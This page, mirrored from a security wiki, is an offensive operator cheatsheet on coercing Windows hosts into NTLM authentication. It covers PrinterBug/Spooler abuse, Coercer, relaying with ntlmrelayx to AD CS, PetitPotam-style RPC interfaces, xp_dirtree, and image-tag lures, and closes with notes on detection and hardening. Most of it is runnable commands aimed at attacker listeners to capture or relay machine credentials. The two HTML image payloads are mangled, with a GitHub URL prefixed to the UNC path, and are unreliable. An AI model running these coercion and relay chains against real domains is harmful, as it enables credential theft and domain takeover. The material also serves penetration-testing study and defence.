daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

printers-spooler-service-abuse.md (17841B)


      1 ---
      2 title: "Force NTLM Privileged Authentication"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Force NTLM Privileged Authentication
     14 
     15 ## SharpSystemTriggers
     16 
     17 [**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is a **collection** of **remote authentication triggers** coded in C# using MIDL compiler for avoiding 3rd party dependencies.
     18 
     19 ## Spooler Service Abuse
     20 
     21 If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.\
     22 Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication.
     23 
     24 Under the hood, the classic **PrinterBug** primitive abuses **`RpcRemoteFindFirstPrinterChangeNotificationEx`** over **`\\PIPE\\spoolss`**. The attacker first opens a printer/server handle and then supplies a fake client name in `pszLocalMachine`, so the target spooler creates a notification channel **back to the attacker-controlled host**. This is why the effect is **outbound authentication coercion** rather than direct code execution.<sup>[[2]](#references)</sup>\
     25 If you are looking for **RCE/LPE** in the spooler itself, check [PrintNightmare](/hacktricks/windows-hardening/active-directory-methodology/printnightmare). This page is focused on **coercion and relay**.
     26 
     27 ### Finding Windows Servers on the domain
     28 
     29 Use PowerShell to list Windows hosts. Servers are usually the highest-priority targets, so focus on them first:
     30 
     31 ```bash
     32 Get-ADComputer -Filter {(OperatingSystem -like "*Windows Server*") -and (Enabled -eq $true)} -Properties DNSHostName |
     33   Select-Object -ExpandProperty DNSHostName > servers.txt
     34 ```
     35 
     36 ### Finding Spooler services listening
     37 
     38 Using a slightly modified @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening:
     39 
     40 ```bash
     41 . .\Get-SpoolStatus.ps1
     42 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
     43 ```
     44 
     45 You can also use `rpcdump.py` on Linux and look for the **MS-RPRN** protocol:
     46 
     47 ```bash
     48 rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
     49 ```
     50 
     51 Or quickly test hosts from Linux with **NetExec/CrackMapExec**:
     52 
     53 ```bash
     54 nxc smb targets.txt -u user -p password -M spooler
     55 ```
     56 
     57 If you want to **enumerate coercion surfaces** instead of just checking whether the spooler endpoint exists, use **Coercer scan mode**:<sup>[[5]](#references)</sup>
     58 
     59 ```bash
     60 coercer scan -u user -p password -d domain -t TARGET --filter-protocol-name MS-RPRN
     61 coercer scan -u user -p password -d domain -t TARGET --filter-pipe-name spoolss
     62 ```
     63 
     64 This is useful because seeing the endpoint in EPM only tells you that the print RPC interface is registered. It does **not** guarantee that every coercion method is reachable with your current privileges or that the host will emit a usable authentication flow.
     65 
     66 ### Ask the service to authenticate against an arbitrary host
     67 
     68 You can compile [SpoolSample from the original repository](https://github.com/leechristensen/SpoolSample).
     69 
     70 ```bash
     71 SpoolSample.exe <TARGET> <RESPONDERIP>
     72 ```
     73 
     74 or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux
     75 
     76 ```bash
     77 python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
     78 printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
     79 ```
     80 
     81 With **Coercer**, you can target the spooler interfaces directly and avoid guessing which RPC method is exposed:<sup>[[5]](#references)</sup>
     82 
     83 ```bash
     84 coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-protocol-name MS-RPRN
     85 coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationEx
     86 ```
     87 
     88 ### Modern RPC-over-TCP callbacks
     89 
     90 Do not assume that a successful `RpcRemoteFindFirstPrinterChangeNotificationEx` call must produce traffic on TCP/445. **Windows 11 22H2 and later use RPC over TCP for print communications by default**; RPC over named pipes is disabled unless policy or `RpcUseNamedPipeProtocol=1` restores it. Therefore, legacy SMB-only listeners can report that the trigger was sent while never receiving the callback. Microsoft documents TCP/135 (Endpoint Mapper) plus dynamic RPC ports for normal print RPC, and organizations can restrict this range or select a fixed print RPC port.<sup>[[10]](#references)</sup>
     91 
     92 Current **Impacket `ntlmrelayx.py`** includes an RPC relay server and a small Endpoint Mapper, enabled by default on TCP/135. This support was merged in June 2025 specifically with a demonstrated PrinterBug-to-AD-CS chain, allowing the authenticated RPC callback to be relayed even when the victim does not fall back to SMB/WebDAV.<sup>[[11]](#references)</sup>
     93 
     94 RPC relay/EPM support ships in **Impacket 0.13.0 and later**. Before debugging a missing TCP/135 listener, verify that an older packaged `ntlmrelayx.py` is not being executed; the help output should expose both RPC-server switches.<sup>[[12]](#references)</sup>
     95 
     96 ```bash
     97 python3 -m pip show impacket | grep '^Version:'
     98 ntlmrelayx.py -h | grep -E -- '--rpc-port|--no-rpc-server'
     99 ```
    100 
    101 ```bash
    102 # Recent Impacket: the RPC/EPM listener starts automatically on TCP/135
    103 # Use --template DomainController instead when coercing a DC
    104 sudo ntlmrelayx.py -t 'http://ca.corp.local/certsrv/certfnsh.asp' \
    105   --adcs --template Machine -smb2support
    106 
    107 # Trigger after the listener is ready; use a name/address reachable by the victim
    108 printerbug.py 'corp.local/user:password'@TARGET ATTACKER_FQDN
    109 ```
    110 
    111 Look for `Setting up RPC Server on port 135` and `RPCD: Received connection` in the relay output. If the RPC call returns an expected error but nothing reaches the listener, check the victim's print RPC transport policy, outbound filtering, DNS resolution and whether another process already owns TCP/135. Also ensure that `ntlmrelayx` was not started with `--no-rpc-server`.
    112 
    113 ### Forcing HTTP instead of SMB with WebClient
    114 
    115 On systems still using **RPC over named pipes** (legacy builds or policy-restored behavior), classic PrinterBug usually yields an **SMB** authentication to `\\attacker\share`, which is still useful for **capture**, **relay to HTTP targets** or **relay where SMB signing is absent**.\
    116 However, relaying **SMB to SMB** is frequently blocked by **SMB signing**, so operators may prefer to force **HTTP/WebDAV** authentication instead. This is not a fallback for the RPC-over-TCP behavior described above.
    117 
    118 If the target has the **WebClient** service running, the listener can be specified in a form that makes Windows use **WebDAV over HTTP**:
    119 
    120 ```bash
    121 printerbug.py 'domain/username:password'@TARGET 'ATTACKER@80/share'
    122 coercer coerce -u user -p password -d domain -t TARGET -l ATTACKER --http-port 80 --filter-protocol-name MS-RPRN
    123 ```
    124 
    125 This is especially useful when chaining with **`ntlmrelayx --adcs`** or other HTTP relay targets because it avoids relying on SMB relayability on the coerced connection. The important caveat is that **WebClient must be running** on the victim for the HTTP/WebDAV variant to work.
    126 
    127 ### Combining with Unconstrained Delegation
    128 
    129 If an attacker has compromised a computer configured for [Unconstrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/unconstrained-delegation), they can **coerce the printer to authenticate to that computer**. The printer computer account's **TGT** is then cached in memory on the unconstrained-delegation host, where the attacker can retrieve and reuse it with [Pass the Ticket](/hacktricks/windows-hardening/active-directory-methodology/pass-the-ticket).
    130 
    131 ### Detection and hardening notes
    132 
    133 The most reliable way to remove PrinterBug from a DC, PAW or server that does not print is to stop and disable the Spooler. Where printing is required, harden every possible relay destination (SMB server signing, LDAP signing/channel binding and EPA on HTTP services such as AD CS) rather than assuming that blocking TCP/445 on the callback path is sufficient.<sup>[[1]](#references)</sup>
    134 
    135 ```powershell
    136 Stop-Service Spooler -Force
    137 Set-Service Spooler -StartupType Disabled
    138 ```
    139 
    140 If the host still needs **local printing**, a narrower control is the GPO `Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled`. This prevents the spooler from accepting remote client connections (and printer sharing) while leaving the service available locally; restart the spooler after applying it, then repeat the MS-RPRN reachability checks above.<sup>[[13]](#references)</sup>
    141 
    142 Detection should correlate an authenticated call to MS-RPRN UUID `12345678-1234-abcd-ef00-0123456789ab`, especially opnum 62/65 with a non-local callback value, and an immediate outbound SMB, HTTP or RPC connection from the spooler host. Baseline **interface UUID/opnum and source/destination pairs**, not only access to `\PIPE\spoolss`, because current print stacks can place the callback on RPC-over-TCP.<sup>[[1]](#references)[[10]](#references)[[11]](#references)</sup>
    143 
    144 ## RPC Force authentication
    145 
    146 [Coercer](https://github.com/p0dalirius/Coercer)<sup>[[5]](#references)</sup>
    147 
    148 ### RPC UNC-path coercion matrix (interfaces/opnums that trigger outbound auth)
    149 - MS-RPRN (Print System Remote Protocol)
    150   - Pipe: \\PIPE\\spoolss
    151   - IF UUID: 12345678-1234-abcd-ef00-0123456789ab
    152   - Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
    153   - Tools: PrinterBug / SpoolSample / Coercer<sup>[[1]](#references)[[6]](#references)</sup>
    154 - MS-PAR (Print System Asynchronous Remote)
    155   - Pipe: \\PIPE\\spoolss
    156   - IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
    157   - Notes: asynchronous print interface on the same spooler pipe; use Coercer to enumerate reachable methods on a given host<sup>[[1]](#references)[[6]](#references)</sup>
    158 - MS-EFSR (Encrypting File System Remote Protocol)
    159   - Pipes: \\PIPE\\efsrpc (also via \\PIPE\\lsarpc, \\PIPE\\samr, \\PIPE\\lsass, \\PIPE\\netlogon)
    160   - IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
    161   - Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
    162   - Tool: PetitPotam<sup>[[1]](#references)[[6]](#references)[[7]](#references)</sup>
    163 - MS-DFSNM (DFS Namespace Management)
    164   - Pipe: \\PIPE\\netdfs
    165   - IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
    166   - Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
    167   - Tool: DFSCoerce<sup>[[1]](#references)[[6]](#references)[[8]](#references)</sup>
    168 - MS-FSRVP (File Server Remote VSS)
    169   - Pipe: \\PIPE\\FssagentRpc
    170   - IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
    171   - Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
    172   - Tool: ShadowCoerce<sup>[[1]](#references)[[6]](#references)[[9]](#references)</sup>
    173 - MS-EVEN (EventLog Remoting)
    174   - Pipe: \\PIPE\\even
    175   - IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
    176   - Opnum: 9 ElfrOpenBELW
    177   - Tool: CheeseOunce<sup>[[1]](#references)</sup>
    178 
    179 Note: These methods accept parameters that can carry a UNC path (e.g., `\\attacker\share`). When processed, Windows will authenticate (machine/user context) to that UNC, enabling NetNTLM capture or relay.\
    180 For spooler abuse, **MS-RPRN opnum 65** remains the most common and best-documented primitive because the protocol specification explicitly states that the server creates a notification channel back to the client specified by `pszLocalMachine`.<sup>[[2]](#references)</sup>
    181 
    182 ### MS-EVEN: ElfrOpenBELW (opnum 9) coercion
    183 - Interface: MS-EVEN over \\PIPE\\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)<sup>[[3]](#references)</sup>
    184 - Call signature: ElfrOpenBELW(UNCServerName, BackupFileName="\\\\attacker\\share\\backup.evt", MajorVersion=1, MinorVersion=1, LogHandle)<sup>[[4]](#references)</sup>
    185 - Effect: the target attempts to open the supplied backup log path and authenticates to the attacker-controlled UNC.<sup>[[1]](#references)</sup>
    186 - Practical use: coerce Tier 0 assets (DC/RODC/Citrix/etc.) to emit NetNTLM, then relay to AD CS endpoints (ESC8/ESC11 scenarios) or other privileged services.<sup>[[1]](#references)</sup>
    187 
    188 ## PrivExchange
    189 
    190 The `PrivExchange` attack is a result of a flaw found in the **Exchange Server `PushSubscription` feature**. This feature allows the Exchange server to be forced by any domain user with a mailbox to authenticate to any client-provided host over HTTP.
    191 
    192 By default, the **Exchange service runs as SYSTEM** and is given excessive privileges (specifically, it has **WriteDacl privileges on the domain pre-2019 Cumulative Update**). This flaw can be exploited to enable the **relaying of information to LDAP and subsequently extract the domain NTDS database**. In cases where relaying to LDAP is not possible, this flaw can still be used to relay and authenticate to other hosts within the domain. The successful exploitation of this attack grants immediate access to the Domain Admin with any authenticated domain user account.
    193 
    194 ## Inside Windows
    195 
    196 If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:
    197 
    198 ### Defender MpCmdRun
    199 
    200 ```bash
    201 C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
    202 ```
    203 
    204 ### MSSQL
    205 
    206 ```sql
    207 EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
    208 ```
    209 
    210 [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
    211 
    212 ```bash
    213 # Issuing NTLM relay attack on the SRV01 server
    214 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
    215 
    216 # Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
    217 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
    218 
    219 # Issuing NTLM relay attack on the local server with custom command
    220 mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
    221 ```
    222 
    223 Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
    224 
    225 ### Certutil
    226 
    227 It's possible to use certutil.exe lolbin (Microsoft-signed binary) to coerce NTLM authentication:
    228 
    229 ```bash
    230 certutil.exe -syncwithWU  \\127.0.0.1\share
    231 ```
    232 
    233 ## HTML injection
    234 
    235 ### Via email
    236 
    237 If you know the **email address** of the user that logs inside a machine you want to compromise, you could just send him an **email with a 1x1 image** such as
    238 
    239 ```html
    240 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/%5C%5C10.10.17.231%5Ctest.ico" height="1" width="1" />
    241 ```
    242 
    243 When the victim opens it, Windows attempts to authenticate.
    244 
    245 ### MitM
    246 
    247 If you can perform a MitM attack and inject HTML into a page viewed by the victim, try injecting an image such as:
    248 
    249 ```html
    250 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/%5C%5C10.10.17.231%5Ctest.ico" height="1" width="1" />
    251 ```
    252 
    253 ## Other ways to force and phish NTLM authentication
    254 
    255 
    256 [Places To Steal Ntlm Creds](/hacktricks/windows-hardening/ntlm/places-to-steal-ntlm-creds)
    257 
    258 ## Cracking NTLMv1
    259 
    260 If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/index.html#ntlmv1-attack).\
    261 _Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_
    262 
    263 
    264 ## References
    265 
    266 - [1] [Unit 42 – Authentication Coercion Keeps Evolving](https://unit42.paloaltonetworks.com/authentication-coercion/)
    267 - [2] [Microsoft – MS-RPRN: RpcRemoteFindFirstPrinterChangeNotificationEx (Opnum 65)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d)
    268 - [3] [Microsoft – MS-EVEN: EventLog Remoting Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/55b13664-f739-4e4e-bd8d-04eeda59d09f)
    269 - [4] [Microsoft – MS-EVEN: ElfrOpenBELW (Opnum 9)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/4db1601c-7bc2-4d5c-8375-c58a6f8fc7e1)
    270 - [5] [p0dalirius – Coercer](https://github.com/p0dalirius/Coercer)
    271 - [6] [p0dalirius – windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)
    272 - [7] [PetitPotam (MS-EFSR)](https://github.com/topotam/PetitPotam)
    273 - [8] [DFSCoerce (MS-DFSNM)](https://github.com/Wh04m1001/DFSCoerce)
    274 - [9] [ShadowCoerce (MS-FSRVP)](https://github.com/ShutdownRepo/ShadowCoerce)
    275 - [10] [Microsoft – RPC connection updates for print in Windows 11](https://learn.microsoft.com/en-us/troubleshoot/windows-client/printing/windows-11-rpc-connection-updates-for-print)
    276 - [11] [Fortra Impacket – RPC relay server and Endpoint Mapper for ntlmrelayx](https://github.com/fortra/impacket/pull/1974)
    277 - [12] [Fortra Impacket 0.13.0 release](https://github.com/fortra/impacket/releases/tag/impacket_0_13_0)
    278 - [13] [Microsoft – Policy CSP: Allow Print Spooler to accept client connections](https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-admx-printing2)